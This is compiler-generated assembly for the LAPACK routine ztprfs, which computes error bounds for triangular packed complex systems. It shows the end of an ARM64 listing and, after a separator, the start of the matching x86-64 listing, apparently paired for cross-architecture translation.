ldur x8, [x29, #-144]
ldursw x9, [x29, #-188]
lsl x9, x9, #4
ldr d0, [x8, x9]
stur d0, [x29, #-208]
ldur d0, [x29, #-208]
fcmp d0, #0.0
cset w8, lt
tbnz w8, #0, LBB0_277
b LBB0_276
LBB0_276: ; in Loop: Header=BB0_273 Depth=2
ldur d0, [x29, #-208]
str d0, [sp, #80] ; 8-byte Folded Spill
b LBB0_278
LBB0_277: ; in Loop: Header=BB0_273 Depth=2
ldur d0, [x29, #-208]
fneg d0, d0
str d0, [sp, #80] ; 8-byte Folded Spill
b LBB0_278
LBB0_278: ; in Loop: Header=BB0_273 Depth=2
ldr d0, [sp, #80] ; 8-byte Folded Reload
str d0, [sp, #72] ; 8-byte Folded Spill
ldur x8, [x29, #-144]
ldrsw x9, [sp, #764]
add x0, x8, x9, lsl #4
bl _Cd
stur d1, [x29, #-216]
ldur d0, [x29, #-216]
fcmp d0, #0.0
cset w8, lt
tbnz w8, #0, LBB0_280
b LBB0_279
LBB0_279: ; in Loop: Header=BB0_273 Depth=2
ldur d0, [x29, #-216]
str d0, [sp, #64] ; 8-byte Folded Spill
b LBB0_281
LBB0_280: ; in Loop: Header=BB0_273 Depth=2
ldur d0, [x29, #-216]
fneg d0, d0
str d0, [sp, #64] ; 8-byte Folded Spill
b LBB0_281
LBB0_281: ; in Loop: Header=BB0_273 Depth=2
ldr d0, [sp, #72] ; 8-byte Folded Reload
ldr d1, [sp, #64] ; 8-byte Folded Reload
fadd d2, d0, d1
ldr s1, [sp, #724]
; implicit-def: $d0
fmov s0, s1
sshll.2d v0, v0, #0
; kill: def $d0 killed $d0 killed $q0
scvtf d0, d0
ldr d1, [sp, #680]
fmul d0, d0, d1
ldur x8, [x29, #-152]
ldrsw x9, [sp, #764]
ldr d1, [x8, x9, lsl #3]
fmadd d0, d0, d1, d2
ldur x8, [x29, #-152]
ldrsw x9, [sp, #764]
str d0, [x8, x9, lsl #3]
b LBB0_289
LBB0_282: ; in Loop: Header=BB0_273 Depth=2
ldr w8, [sp, #764]
stur w8, [x29, #-188]
ldur x8, [x29, #-144]
ldursw x9, [x29, #-188]
lsl x9, x9, #4
ldr d0, [x8, x9]
stur d0, [x29, #-208]
ldur d0, [x29, #-208]
fcmp d0, #0.0
cset w8, lt
tbnz w8, #0, LBB0_284
b LBB0_283
LBB0_283: ; in Loop: Header=BB0_273 Depth=2
ldur d0, [x29, #-208]
str d0, [sp, #56] ; 8-byte Folded Spill
b LBB0_285
LBB0_284: ; in Loop: Header=BB0_273 Depth=2
ldur d0, [x29, #-208]
fneg d0, d0
str d0, [sp, #56] ; 8-byte Folded Spill
b LBB0_285
LBB0_285: ; in Loop: Header=BB0_273 Depth=2
ldr d0, [sp, #56] ; 8-byte Folded Reload
str d0, [sp, #48] ; 8-byte Folded Spill
ldur x8, [x29, #-144]
ldrsw x9, [sp, #764]
add x0, x8, x9, lsl #4
bl _Cd
stur d1, [x29, #-216]
ldur d0, [x29, #-216]
fcmp d0, #0.0
cset w8, lt
tbnz w8, #0, LBB0_287
b LBB0_286
LBB0_286: ; in Loop: Header=BB0_273 Depth=2
ldur d0, [x29, #-216]
str d0, [sp, #40] ; 8-byte Folded Spill
b LBB0_288
LBB0_287: ; in Loop: Header=BB0_273 Depth=2
ldur d0, [x29, #-216]
fneg d0, d0
str d0, [sp, #40] ; 8-byte Folded Spill
b LBB0_288
LBB0_288: ; in Loop: Header=BB0_273 Depth=2
ldr d0, [sp, #48] ; 8-byte Folded Reload
ldr d1, [sp, #40] ; 8-byte Folded Reload
fadd d2, d0, d1
ldr s1, [sp, #724]
; implicit-def: $d0
fmov s0, s1
sshll.2d v0, v0, #0
; kill: def $d0 killed $d0 killed $q0
scvtf d0, d0
ldr d1, [sp, #680]
fmul d0, d0, d1
ldur x8, [x29, #-152]
ldrsw x9, [sp, #764]
ldr d1, [x8, x9, lsl #3]
fmadd d0, d0, d1, d2
ldr d1, [sp, #776]
fadd d0, d0, d1
ldur x8, [x29, #-152]
ldrsw x9, [sp, #764]
str d0, [x8, x9, lsl #3]
b LBB0_289
LBB0_289: ; in Loop: Header=BB0_273 Depth=2
b LBB0_290
LBB0_290: ; in Loop: Header=BB0_273 Depth=2
ldr w8, [sp, #764]
add w8, w8, #1
str w8, [sp, #764]
b LBB0_273
LBB0_291: ; in Loop: Header=BB0_43 Depth=1
stur wzr, [x29, #-252]
b LBB0_292
LBB0_292: ; Parent Loop BB0_43 Depth=1
; => This Loop Header: Depth=2
; Child Loop BB0_300 Depth 3
; Child Loop BB0_295 Depth 3
ldur x0, [x29, #-72]
ldur x8, [x29, #-144]
ldur x9, [x29, #-72]
ldr w9, [x9]
add w9, w9, #1
add x1, x8, w9, sxtw #4
ldur x8, [x29, #-144]
add x2, x8, #16
ldur x8, [x29, #-128]
ldrsw x9, [sp, #760]
add x3, x8, x9, lsl #3
sub x4, x29, #252
sub x5, x29, #36
bl _zlacn2_
ldur w8, [x29, #-252]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_305
b LBB0_293
LBB0_293: ; in Loop: Header=BB0_292 Depth=2
ldur w8, [x29, #-252]
subs w8, w8, #1
cset w8, ne
tbnz w8, #0, LBB0_299
b LBB0_294
LBB0_294: ; in Loop: Header=BB0_292 Depth=2
ldur x0, [x29, #-48]
ldur x2, [x29, #-64]
ldur x3, [x29, #-72]
ldur x8, [x29, #-88]
add x4, x8, #16
ldur x8, [x29, #-144]
add x5, x8, #16
add x1, sp, #706
adrp x6, _c__1@PAGE
add x6, x6, _c__1@PAGEOFF
bl _ztpsv_
ldur x8, [x29, #-72]
ldr w8, [x8]
stur w8, [x29, #-184]
mov w8, #1
str w8, [sp, #764]
b LBB0_295
LBB0_295: ; Parent Loop BB0_43 Depth=1
; Parent Loop BB0_292 Depth=2
; => This Inner Loop Header: Depth=3
ldr w8, [sp, #764]
ldur w9, [x29, #-184]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_298
b LBB0_296
LBB0_296: ; in Loop: Header=BB0_295 Depth=3
ldr w8, [sp, #764]
stur w8, [x29, #-188]
ldr w8, [sp, #764]
stur w8, [x29, #-192]
ldr w8, [sp, #764]
stur w8, [x29, #-196]
ldur x8, [x29, #-152]
ldursw x9, [x29, #-192]
ldr d0, [x8, x9, lsl #3]
ldur x8, [x29, #-144]
ldursw x9, [x29, #-196]
lsl x9, x9, #4
ldr d1, [x8, x9]
fmul d0, d0, d1
stur d0, [x29, #-248]
ldur x8, [x29, #-152]
ldursw x9, [x29, #-192]
ldr d0, [x8, x9, lsl #3]
ldur x8, [x29, #-144]
ldursw x9, [x29, #-196]
add x8, x8, x9, lsl #4
ldr d1, [x8, #8]
fmul d0, d0, d1
stur d0, [x29, #-240]
ldur d0, [x29, #-248]
ldur x8, [x29, #-144]
ldursw x9, [x29, #-188]
lsl x9, x9, #4
str d0, [x8, x9]
ldur d0, [x29, #-240]
ldur x8, [x29, #-144]
ldursw x9, [x29, #-188]
add x8, x8, x9, lsl #4
str d0, [x8, #8]
b LBB0_297
LBB0_297: ; in Loop: Header=BB0_295 Depth=3
ldr w8, [sp, #764]
add w8, w8, #1
str w8, [sp, #764]
b LBB0_295
LBB0_298: ; in Loop: Header=BB0_292 Depth=2
b LBB0_304
LBB0_299: ; in Loop: Header=BB0_292 Depth=2
ldur x8, [x29, #-72]
ldr w8, [x8]
stur w8, [x29, #-184]
mov w8, #1
str w8, [sp, #764]
b LBB0_300
LBB0_300: ; Parent Loop BB0_43 Depth=1
; Parent Loop BB0_292 Depth=2
; => This Inner Loop Header: Depth=3
ldr w8, [sp, #764]
ldur w9, [x29, #-184]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_303
b LBB0_301
LBB0_301: ; in Loop: Header=BB0_300 Depth=3
ldr w8, [sp, #764]
stur w8, [x29, #-188]
ldr w8, [sp, #764]
stur w8, [x29, #-192]
ldr w8, [sp, #764]
stur w8, [x29, #-196]
ldur x8, [x29, #-152]
ldursw x9, [x29, #-192]
ldr d0, [x8, x9, lsl #3]
ldur x8, [x29, #-144]
ldursw x9, [x29, #-196]
lsl x9, x9, #4
ldr d1, [x8, x9]
fmul d0, d0, d1
stur d0, [x29, #-248]
ldur x8, [x29, #-152]
ldursw x9, [x29, #-192]
ldr d0, [x8, x9, lsl #3]
ldur x8, [x29, #-144]
ldursw x9, [x29, #-196]
add x8, x8, x9, lsl #4
ldr d1, [x8, #8]
fmul d0, d0, d1
stur d0, [x29, #-240]
ldur d0, [x29, #-248]
ldur x8, [x29, #-144]
ldursw x9, [x29, #-188]
lsl x9, x9, #4
str d0, [x8, x9]
ldur d0, [x29, #-240]
ldur x8, [x29, #-144]
ldursw x9, [x29, #-188]
add x8, x8, x9, lsl #4
str d0, [x8, #8]
b LBB0_302
LBB0_302: ; in Loop: Header=BB0_300 Depth=3
ldr w8, [sp, #764]
add w8, w8, #1
str w8, [sp, #764]
b LBB0_300
LBB0_303: ; in Loop: Header=BB0_292 Depth=2
ldur x0, [x29, #-48]
ldur x2, [x29, #-64]
ldur x3, [x29, #-72]
ldur x8, [x29, #-88]
add x4, x8, #16
ldur x8, [x29, #-144]
add x5, x8, #16
add x1, sp, #707
adrp x6, _c__1@PAGE
add x6, x6, _c__1@PAGEOFF
bl _ztpsv_
b LBB0_304
LBB0_304: ; in Loop: Header=BB0_292 Depth=2
b LBB0_292
LBB0_305: ; in Loop: Header=BB0_43 Depth=1
movi d0, #0000000000000000
str d0, [sp, #688]
ldur x8, [x29, #-72]
ldr w8, [x8]
stur w8, [x29, #-184]
mov w8, #1
str w8, [sp, #764]
b LBB0_306
LBB0_306: ; Parent Loop BB0_43 Depth=1
; => This Inner Loop Header: Depth=2
ldr w8, [sp, #764]
ldur w9, [x29, #-184]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_318
b LBB0_307
LBB0_307: ; in Loop: Header=BB0_306 Depth=2
ldr w8, [sp, #764]
ldr w9, [sp, #760]
ldur w10, [x29, #-172]
mul w9, w9, w10
add w8, w8, w9
stur w8, [x29, #-188]
ldr d0, [sp, #688]
stur d0, [x29, #-224]
ldur x8, [x29, #-112]
ldursw x9, [x29, #-188]
lsl x9, x9, #4
ldr d0, [x8, x9]
stur d0, [x29, #-208]
ldur d0, [x29, #-208]
fcmp d0, #0.0
cset w8, lt
tbnz w8, #0, LBB0_309
b LBB0_308
LBB0_308: ; in Loop: Header=BB0_306 Depth=2
ldur d0, [x29, #-208]
str d0, [sp, #32] ; 8-byte Folded Spill
b LBB0_310
LBB0_309: ; in Loop: Header=BB0_306 Depth=2
ldur d0, [x29, #-208]
fneg d0, d0
str d0, [sp, #32] ; 8-byte Folded Spill
b LBB0_310
LBB0_310: ; in Loop: Header=BB0_306 Depth=2
ldr d0, [sp, #32] ; 8-byte Folded Reload
str d0, [sp, #24] ; 8-byte Folded Spill
ldur x8, [x29, #-112]
ldr w9, [sp, #764]
ldr w10, [sp, #760]
ldur w11, [x29, #-172]
mul w10, w10, w11
add w9, w9, w10
add x0, x8, w9, sxtw #4
bl _Cd
stur d1, [x29, #-216]
ldur d0, [x29, #-216]
fcmp d0, #0.0
cset w8, lt
tbnz w8, #0, LBB0_312
b LBB0_311
LBB0_311: ; in Loop: Header=BB0_306 Depth=2
ldur d0, [x29, #-216]
str d0, [sp, #16] ; 8-byte Folded Spill
b LBB0_313
LBB0_312: ; in Loop: Header=BB0_306 Depth=2
ldur d0, [x29, #-216]
fneg d0, d0
str d0, [sp, #16] ; 8-byte Folded Spill
b LBB0_313
LBB0_313: ; in Loop: Header=BB0_306 Depth=2
ldr d0, [sp, #24] ; 8-byte Folded Reload
ldr d1, [sp, #16] ; 8-byte Folded Reload
fadd d0, d0, d1
stur d0, [x29, #-232]
ldur d0, [x29, #-224]
ldur d1, [x29, #-232]
fcmp d0, d1
cset w8, lt
tbnz w8, #0, LBB0_315
b LBB0_314
LBB0_314: ; in Loop: Header=BB0_306 Depth=2
ldur d0, [x29, #-224]
str d0, [sp, #8] ; 8-byte Folded Spill
b LBB0_316
LBB0_315: ; in Loop: Header=BB0_306 Depth=2
ldur d0, [x29, #-232]
str d0, [sp, #8] ; 8-byte Folded Spill
b LBB0_316
LBB0_316: ; in Loop: Header=BB0_306 Depth=2
ldr d0, [sp, #8] ; 8-byte Folded Reload
str d0, [sp, #688]
b LBB0_317
LBB0_317: ; in Loop: Header=BB0_306 Depth=2
ldr w8, [sp, #764]
add w8, w8, #1
str w8, [sp, #764]
b LBB0_306
LBB0_318: ; in Loop: Header=BB0_43 Depth=1
ldr d0, [sp, #688]
fcmp d0, #0.0
cset w8, eq
tbnz w8, #0, LBB0_320
b LBB0_319
LBB0_319: ; in Loop: Header=BB0_43 Depth=1
ldr d1, [sp, #688]
ldur x8, [x29, #-128]
ldrsw x9, [sp, #760]
add x8, x8, x9, lsl #3
ldr d0, [x8]
fdiv d0, d0, d1
str d0, [x8]
b LBB0_320
LBB0_320: ; in Loop: Header=BB0_43 Depth=1
b LBB0_321
LBB0_321: ; in Loop: Header=BB0_43 Depth=1
ldr w8, [sp, #760]
add w8, w8, #1
str w8, [sp, #760]
b LBB0_43
LBB0_322:
stur wzr, [x29, #-40]
b LBB0_323
LBB0_323:
ldur w8, [x29, #-40]
str w8, [sp, #4] ; 4-byte Folded Spill
ldur x9, [x29, #-24]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_325
b LBB0_324
LBB0_324:
bl ___stack_chk_fail
LBB0_325:
ldr w0, [sp, #4] ; 4-byte Folded Reload
add sp, sp, #1024
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x28, x27, [sp], #32 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.p2align 2 ; -- Begin function Cd
_Cd: ; @Cd
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, #8]
ldr x8, [sp, #8]
ldr d1, [x8]
ldr x8, [sp, #8]
ldr d0, [x8, #8]
movi d2, #0000000000000000
fmul d2, d0, d2
fmov d3, #1.00000000
fmul d0, d0, d3
fadd d1, d1, d2
str d1, [sp, #16]
str d0, [sp, #24]
ldr d0, [sp, #16]
ldr d1, [sp, #24]
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "U"
l_.str.1: ; @.str.1
.asciz "N"
l_.str.2: ; @.str.2
.asciz "L"
l_.str.3: ; @.str.3
.asciz "T"
l_.str.4: ; @.str.4
.asciz "C"
l_.str.5: ; @.str.5
.asciz "ZTPRFS"
l_.str.6: ; @.str.6
.asciz "Epsilon"
l_.str.7: ; @.str.7
.asciz "Safe minimum"
.section __DATA,__data
.p2align 2 ; @c__1
_c__1:
.long 1 ; 0x1
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __TEXT,__literal8,8byte_literals
.p2align 3 ## -- Begin function ztprfs_
LCPI0_0:
.quad 0xbff0000000000000 ## double -1
.section __TEXT,__text,regular,pure_instructions
.globl _ztprfs_
.p2align 4, 0x90
_ztprfs_: ## @ztprfs_
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $944, %rsp ## imm = 0x3B0
movq 80(%rbp), %rax
movq 72(%rbp), %rax
movq 64(%rbp), %rax
movq 56(%rbp), %rax
movq 48(%rbp), %rax
movq 40(%rbp), %rax
movq 32(%rbp), %rax
movq 24(%rbp), %rax
movq 16(%rbp), %rax
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movq %rdi, -32(%rbp)
movq %rsi, -40(%rbp)
movq %rdx, -48(%rbp)
movq %rcx, -56(%rbp)
movq %r8, -64(%rbp)
movq %r9, -72(%rbp)
movq -72(%rbp), %rax
addq $-16, %rax
movq %rax, -72(%rbp)
movq 24(%rbp), %rax
movl (%rax), %eax
movl %eax, -76(%rbp)
movl -76(%rbp), %eax
shll $0, %eax
addl $1, %eax
movl %eax, -80(%rbp)
movl -80(%rbp), %ecx
movq 16(%rbp), %rax
movslq %ecx, %rdx
xorl %ecx, %ecx
## kill: def $rcx killed $ecx
subq %rdx, %rcx
shlq $4, %rcx
addq %rcx, %rax
movq %rax, 16(%rbp)
movq 40(%rbp), %rax
movl (%rax), %eax
movl %eax, -84(%rbp)
movl -84(%rbp), %eax
shll $0, %eax
addl $1, %eax
movl %eax, -88(%rbp)
movl -88(%rbp), %ecx
movq 32(%rbp), %rax
movslq %ecx, %rdx
xorl %ecx, %ecx
## kill: def $rcx killed $ecx
subq %rdx, %rcx
shlq $4, %rcx
addq %rcx, %rax
movq %rax, 32(%rbp)
movq 48(%rbp), %rax
addq $-8, %rax
movq %rax, 48(%rbp)
movq 56(%rbp), %rax
addq $-8, %rax
movq %rax, 56(%rbp)
movq 64(%rbp), %rax
addq $-16, %rax
movq %rax, 64(%rbp)
movq 72(%rbp), %rax
addq $-8, %rax
movq %rax, 72(%rbp)
movq 80(%rbp), %rax
movl $0, (%rax)
movq -32(%rbp), %rdi
leaq L_.str(%rip), %rsi
callq _lsame_
movl %eax, -212(%rbp)
movq -40(%rbp), %rdi
leaq L_.str.1(%rip), %rsi
callq _lsame_
movl %eax, -244(%rbp)
movq -48(%rbp), %rdi
leaq L_.str.1(%rip), %rsi
callq _lsame_
movl %eax, -252(%rbp)
cmpl $0, -212(%rbp)
jne LBB0_3
## %bb.1:
movq -32(%rbp), %rdi
leaq L_.str.2(%rip), %rsi
callq _lsame_
cmpl $0, %eax
jne LBB0_3
## %bb.2:
movq 80(%rbp), %rax
movl $-1, (%rax)
jmp LBB0_30
LBB0_3:
cmpl $0, -244(%rbp)
jne LBB0_7
## %bb.4:
movq -40(%rbp), %rdi
leaq L_.str.3(%rip), %rsi
callq _lsame_
cmpl $0, %eax
jne LBB0_7
## %bb.5:
movq -40(%rbp), %rdi
leaq L_.str.4(%rip), %rsi
callq _lsame_
cmpl $0, %eax
jne LBB0_7
## %bb.6:
movq 80(%rbp), %rax
movl $-2, (%rax)
jmp LBB0_29
LBB0_7:
cmpl $0, -252(%rbp)
jne LBB0_10
## %bb.8:
movq -48(%rbp), %rdi
leaq L_.str(%rip), %rsi
callq _lsame_
cmpl $0, %eax
jne LBB0_10
## %bb.9:
movq 80(%rbp), %rax
movl $-3, (%rax)
jmp LBB0_28
LBB0_10:
movq -56(%rbp), %rax
cmpl $0, (%rax)
jge LBB0_12
## %bb.11:
movq 80(%rbp), %rax
movl $-4, (%rax)
jmp LBB0_27
LBB0_12:
movq -64(%rbp), %rax
cmpl $0, (%rax)
jge LBB0_14
## %bb.13:
movq 80(%rbp), %rax
movl $-5, (%rax)
jmp LBB0_26
LBB0_14:
movq 24(%rbp), %rax
movl (%rax), %eax
movl %eax, -276(%rbp) ## 4-byte Spill
movq -56(%rbp), %rcx
movl $1, %eax
cmpl (%rcx), %eax
jl LBB0_16
## %bb.15:
movl $1, %eax
movl %eax, -280(%rbp) ## 4-byte Spill
jmp LBB0_17
LBB0_16:
movq -56(%rbp), %rax
movl (%rax), %eax
movl %eax, -280(%rbp) ## 4-byte Spill
LBB0_17:
movl -276(%rbp), %eax ## 4-byte Reload
movl -280(%rbp), %ecx ## 4-byte Reload
cmpl %ecx, %eax
jge LBB0_19
## %bb.18:
movq 80(%rbp), %rax
movl $-8, (%rax)
jmp LBB0_25
LBB0_19:
movq 40(%rbp), %rax
movl (%rax), %eax
movl %eax, -284(%rbp) ## 4-byte Spill
movq -56(%rbp), %rcx
movl $1, %eax
cmpl (%rcx), %eax
jl LBB0_21
## %bb.20:
movl $1, %eax
movl %eax, -288(%rbp) ## 4-byte Spill
jmp LBB0_22
LBB0_21:
movq -56(%rbp), %rax
movl (%rax), %eax
movl %eax, -288(%rbp) ## 4-byte Spill
LBB0_22:
movl -284(%rbp), %eax ## 4-byte Reload
movl -288(%rbp), %ecx ## 4-byte Reload
cmpl %ecx, %eax
jge LBB0_24
## %bb.23:
movq 80(%rbp), %rax
movl $-10, (%rax)
LBB0_24:
jmp LBB0_25
LBB0_25:
jmp LBB0_26
LBB0_26:
jmp LBB0_27
LBB0_27:
jmp LBB0_28
LBB0_28:
jmp LBB0_29
LBB0_29:
jmp LBB0_30
LBB0_30:
movq 80(%rbp), %rax
cmpl $0, (%rax)
je LBB0_32
## %bb.31:
movq 80(%rbp), %rcx
xorl %eax, %eax
subl (%rcx), %eax
movl %eax, -92(%rbp)
leaq L_.str.5(%rip), %rdi
leaq -92(%rbp), %rsi
movl $6, %edx
callq _xerbla_
movl $0, -24(%rbp)
jmp LBB0_323
LBB0_32:
movq -56(%rbp), %rax
cmpl $0, (%rax)
je LBB0_34
## %bb.33:
movq -64(%rbp), %rax
cmpl $0, (%rax)
jne LBB0_39
LBB0_34:
movq -64(%rbp), %rax
movl (%rax), %eax
movl %eax, -92(%rbp)
movl $1, -192(%rbp)
LBB0_35: ## =>This Inner Loop Header: Depth=1
movl -192(%rbp), %eax
cmpl -92(%rbp), %eax
jg LBB0_38
## %bb.36: ## in Loop: Header=BB0_35 Depth=1
movq 48(%rbp), %rax
movslq -192(%rbp), %rcx
xorps %xmm0, %xmm0
movsd %xmm0, (%rax,%rcx,8)
movq 56(%rbp), %rax
movslq -192(%rbp), %rcx
xorps %xmm0, %xmm0
movsd %xmm0, (%rax,%rcx,8)
## %bb.37: ## in Loop: Header=BB0_35 Depth=1
movl -192(%rbp), %eax
addl $1, %eax
movl %eax, -192(%rbp)
jmp LBB0_35
LBB0_38:
movl $0, -24(%rbp)
jmp LBB0_323
LBB0_39:
cmpl $0, -244(%rbp)
je LBB0_41
## %bb.40:
movb $78, -245(%rbp)
movb $67, -246(%rbp)
jmp LBB0_42
LBB0_41:
movb $67, -245(%rbp)
movb $78, -246(%rbp)
LBB0_42:
movq -56(%rbp), %rax
movl (%rax), %eax
addl $1, %eax
movl %eax, -228(%rbp)
leaq L_.str.6(%rip), %rdi
callq _dlamch_
movsd %xmm0, -272(%rbp)
leaq L_.str.7(%rip), %rdi
callq _dlamch_
movsd %xmm0, -240(%rbp)
cvtsi2sdl -228(%rbp), %xmm0
mulsd -240(%rbp), %xmm0
movsd %xmm0, -176(%rbp)
movsd -176(%rbp), %xmm0 ## xmm0 = mem[0],zero
divsd -272(%rbp), %xmm0
movsd %xmm0, -184(%rbp)
movq -64(%rbp), %rax
movl (%rax), %eax
movl %eax, -92(%rbp)
movl $1, -192(%rbp)
LBB0_43: ## =>This Loop Header: Depth=1
## Child Loop BB0_45 Depth 2
## Child Loop BB0_58 Depth 2
## Child Loop BB0_66 Depth 3
## Child Loop BB0_79 Depth 2
## Child Loop BB0_87 Depth 3
## Child Loop BB0_102 Depth 2
## Child Loop BB0_110 Depth 3
## Child Loop BB0_123 Depth 2
## Child Loop BB0_131 Depth 3
## Child Loop BB0_148 Depth 2
## Child Loop BB0_150 Depth 3
## Child Loop BB0_169 Depth 2
## Child Loop BB0_177 Depth 3
## Child Loop BB0_198 Depth 2
## Child Loop BB0_200 Depth 3
## Child Loop BB0_219 Depth 2
## Child Loop BB0_227 Depth 3
## Child Loop BB0_248 Depth 2
## Child Loop BB0_273 Depth 2
## Child Loop BB0_292 Depth 2
## Child Loop BB0_295 Depth 3
## Child Loop BB0_300 Depth 3
## Child Loop BB0_306 Depth 2
movl -192(%rbp), %eax
cmpl -92(%rbp), %eax
jg LBB0_322
## %bb.44: ## in Loop: Header=BB0_43 Depth=1
movq -56(%rbp), %rdi
movq 32(%rbp), %rsi
movl -192(%rbp), %eax
imull -84(%rbp), %eax
addl $1, %eax
cltq
shlq $4, %rax
addq %rax, %rsi
movq 64(%rbp), %rcx
addq $16, %rcx
leaq _c__1(%rip), %r8
movq %r8, %rdx
callq _zcopy_
movq -32(%rbp), %rdi
movq -40(%rbp), %rsi
movq -48(%rbp), %rdx
movq -56(%rbp), %rcx
movq -72(%rbp), %r8
addq $16, %r8
movq 64(%rbp), %r9
addq $16, %r9
leaq _c__1(%rip), %rax
movq %rax, (%rsp)
callq _ztpmv_
movsd LCPI0_0(%rip), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -160(%rbp)
xorps %xmm0, %xmm0
movsd %xmm0, -152(%rbp)
movq -56(%rbp), %rdi
movq 16(%rbp), %rdx
movl -192(%rbp), %eax
imull -76(%rbp), %eax
addl $1, %eax
cltq
shlq $4, %rax
addq %rax, %rdx
movq 64(%rbp), %r8
addq $16, %r8
leaq -160(%rbp), %rsi
leaq _c__1(%rip), %r9
movq %r9, %rcx
callq _zaxpy_
movq -56(%rbp), %rax
movl (%rax), %eax
movl %eax, -96(%rbp)
movl $1, -188(%rbp)
LBB0_45: ## Parent Loop BB0_43 Depth=1
## => This Inner Loop Header: Depth=2
movl -188(%rbp), %eax
cmpl -96(%rbp), %eax
jg LBB0_54
## %bb.46: ## in Loop: Header=BB0_45 Depth=2
movl -188(%rbp), %eax
movl -192(%rbp), %ecx
imull -76(%rbp), %ecx
addl %ecx, %eax
movl %eax, -100(%rbp)
movq 16(%rbp), %rax
movslq -100(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
movsd (%rax), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -120(%rbp)
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jb LBB0_48
## %bb.47: ## in Loop: Header=BB0_45 Depth=2
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -296(%rbp) ## 8-byte Spill
jmp LBB0_49
LBB0_48: ## in Loop: Header=BB0_45 Depth=2
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -296(%rbp) ## 8-byte Spill
LBB0_49: ## in Loop: Header=BB0_45 Depth=2
movsd -296(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movsd %xmm0, -304(%rbp) ## 8-byte Spill
movq 16(%rbp), %rdi
movl -188(%rbp), %eax
movl -192(%rbp), %ecx
imull -76(%rbp), %ecx
addl %ecx, %eax
cltq
shlq $4, %rax
addq %rax, %rdi
callq _Cd
movsd %xmm1, -128(%rbp)
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jb LBB0_51
## %bb.50: ## in Loop: Header=BB0_45 Depth=2
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -312(%rbp) ## 8-byte Spill
jmp LBB0_52
LBB0_51: ## in Loop: Header=BB0_45 Depth=2
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -312(%rbp) ## 8-byte Spill
LBB0_52: ## in Loop: Header=BB0_45 Depth=2
movsd -304(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movsd -312(%rbp), %xmm1 ## 8-byte Reload
## xmm1 = mem[0],zero
addsd %xmm1, %xmm0
movq 72(%rbp), %rax
movslq -188(%rbp), %rcx
movsd %xmm0, (%rax,%rcx,8)
## %bb.53: ## in Loop: Header=BB0_45 Depth=2
movl -188(%rbp), %eax
addl $1, %eax
movl %eax, -188(%rbp)
jmp LBB0_45
LBB0_54: ## in Loop: Header=BB0_43 Depth=1
cmpl $0, -244(%rbp)
je LBB0_145
## %bb.55: ## in Loop: Header=BB0_43 Depth=1
cmpl $0, -212(%rbp)
je LBB0_100
## %bb.56: ## in Loop: Header=BB0_43 Depth=1
movl $1, -216(%rbp)
cmpl $0, -252(%rbp)
je LBB0_78
## %bb.57: ## in Loop: Header=BB0_43 Depth=1
movq -56(%rbp), %rax
movl (%rax), %eax
movl %eax, -96(%rbp)
movl $1, -196(%rbp)
LBB0_58: ## Parent Loop BB0_43 Depth=1
## => This Loop Header: Depth=2
## Child Loop BB0_66 Depth 3
movl -196(%rbp), %eax
cmpl -96(%rbp), %eax
jg LBB0_77
## %bb.59: ## in Loop: Header=BB0_58 Depth=2
movl -196(%rbp), %eax
movl -192(%rbp), %ecx
imull -84(%rbp), %ecx
addl %ecx, %eax
movl %eax, -100(%rbp)
movq 32(%rbp), %rax
movslq -100(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
movsd (%rax), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -120(%rbp)
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jb LBB0_61
## %bb.60: ## in Loop: Header=BB0_58 Depth=2
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -320(%rbp) ## 8-byte Spill
jmp LBB0_62
LBB0_61: ## in Loop: Header=BB0_58 Depth=2
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -320(%rbp) ## 8-byte Spill
LBB0_62: ## in Loop: Header=BB0_58 Depth=2
movsd -320(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
